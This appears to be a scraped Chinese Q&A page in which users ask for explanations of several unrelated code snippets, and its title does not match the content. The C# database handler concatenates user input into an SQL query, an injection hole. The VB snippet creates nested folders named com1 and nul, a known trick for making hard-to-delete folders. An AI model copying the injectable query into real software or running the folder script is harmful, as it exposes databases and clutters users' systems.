请问这段代码怎么解释？ 迪蒙火花机代码解释
请问这段代码什么意思？
// 这是一个事件驱动函数<br>private void subbtn_Click(object sender, System.EventArgs e)<br><br>{<br><br>string connectionString=ConfigurationSettings.AppSettings["connectstr"].ToString();// 从一个叫做‘ConfigurationSettings’的地方得到数据库连接字符串<br>SqlConnection sampleConnection = new SqlConnection(connectionString);//用得到的连接字符串建立数据库连接<br>sampleConnection.ConnectionString = connectionString;<br>sampleConnection.Open();<br><br>SqlCommand query=new SqlCommand("select count(*) from papers where paid="+"'"+paid.Text.ToString()+"'",sampleConnection);// 从一个叫做'papers（论文？）'的数据库表中数出有多少条记录的paid字段是'paid'的值<br><br>int count=Convert.ToInt32(query.ExecuteScalar());<br><br>if(count==1)// 如果上面数出的结果是1<br>{<br>Response.Write("<script>alert(\"论文编号已存在！\")</script>");// 页面弹出框说“论文编号已存在！”<br>}<br>else // 否则<br>{<br><br>// 就往paper表新插入一条记录，各字段的值分别为：paid,panname,projectid,ulb,papublish,pasum<br><br>SqlCommand insert=new SqlCommand("addpaper",sampleConnection);<br>insert.CommandType=CommandType.StoredProcedure;<br><br>SqlParameter para=null;<br><br>para=insert.Parameters.Add("@paid",SqlDbType.VarChar,12);<br>para=insert.Parameters.Add("@paname",SqlDbType.VarChar,20);<br>para=insert.Parameters.Add("@projectid",SqlDbType.VarChar,12);<br>para=insert.Parameters.Add("@paauther",SqlDbType.VarChar,12);<br>para=insert.Parameters.Add("@papublish",SqlDbType.VarChar,8);<br>para=insert.Parameters.Add("@pasum",SqlDbType.VarChar,1000);<br><br>insert.Parameters["@paid"].Value=paid.Text;<br>insert.Parameters["@paname"].Value=paname.Text;<br>insert.Parameters["@projectid"].Value=projectid.Text;<br>insert.Parameters["@paauther"].Value=ulb.Text;<br>insert.Parameters["@papublish"].Value=papublish.Text;<br>insert.Parameters["@pasum"].Value=pasum.Text;<br><br>//Response.Write();<br><br>// 如果上面的插入成功，就弹出“论文增加成功！”提示，否则弹出“论文增加失败！”提示<br>try<br>{<br>insert.ExecuteNonQuery();<br>Response.Write("<script>alert(\"论文增加成功！\")</script>");<br>}<br>catch(SqlException err)<br>{<br>Response.Write("<script>alert(\"论文增加失败！\")</script>");<br><br>}<br>}<br><br>sampleConnection.Close();<br><br>}<br>}<br>}
请问这段代码怎么解释（越详细越好）
Private Sub Form_Load()
On Error Resume Next
Set g = CreateObject("scripting.filesystemobject")
a = "\com1\"
b = "nul\"
Do
g.createfolder a
g.createtextfile(a & "random.rar", True).writeline a & a & a
a = a & b
MsgBox a
Exit Do '加了这行，不然怎么退出？你自己写个条件修改一下
Loop
End Sub
请问这段代码是什么意思?详细的
dim username,password /定义变量
username=request.form("username") /读取表单传来的username的数据并赋值给username
password=request.form("password") /读取表单传来的password的数据并赋值给password
dim rs,sql 定义变量
set rs=server.createobject("adodb.recordset") 设置RS为记录集
sql="Select * from login where 1=2" 读取数据库表中login数据 //这句话你错了,哪里有1=2的,肯定是ID=2吧
rs.open sql,conn,3,3 打开记录集
rs.addnew 准备插入数据库表
rs("IP")=Request.serverVariables("REMOTE_ADDR") 把客户端的IP地址记录到表IP字段中
rs("time")=now() 记录当前时间到time字段中
rs.update 执行
rs.close 关闭记录集
set rs=nothing 释放RS资源占用
请问这段代码怎么解释，或者解密
<%Call Frame_Go()''调用过程:Frame_Go().这个你在代码所在网页的别处找下,应该会有.%>
<%
no=request("no") '''得到传递的参数no,应该是个数字.
if no<>"" then '''如果不为空值.
select case no '''以下就是根据情况处理了.
case 8,9,10,11,13,14,176,312 ''''如果是8,9,10,11,13,14,176,312这几个数.
i=1 '''让 i 等于1
''''以下的就不说了,和这里的差不多,就是根据no是不同的值,来给i赋不同的值.
case 26,27,28,30,32,33,34,35,36,177,193,194,195,29
i=2
case 99,101,104,105,158,159,160,178,301,302,303
i=3
case 62,63,66,69,72,73,142,174,173,175,161,304,162
i=4
case 38,39,42,40,43,305,306,311
i=5
case 51,48,49,50,52,53,55,51,54
i=6
case 25,24,21,17,18,19,22,313
i=7
case 152,153,164,170,307,308,309,310
i=8
case 166,87,167,168,169,92,165,111
i=9
case 97,98,94,95,96,93
i=10
case 157,179,316,317,318
i=11
case 57,124,59,58,143,56,122,123,125
i=12
case 114,115,116,117,112,113,128,118,121
i=13
case 401,402,403,404,405,406,407,408,409,410
i=14
case 501,502,503,504,505,506,507,508,805
i=15
case 801,802,803,804,806,807,808,809,810,811,812,813
i=80
end select''''处理结束.
else ''''如果no是空值.
''''这里应该还有句子的,不写也行.
end if '''判断结束.
%>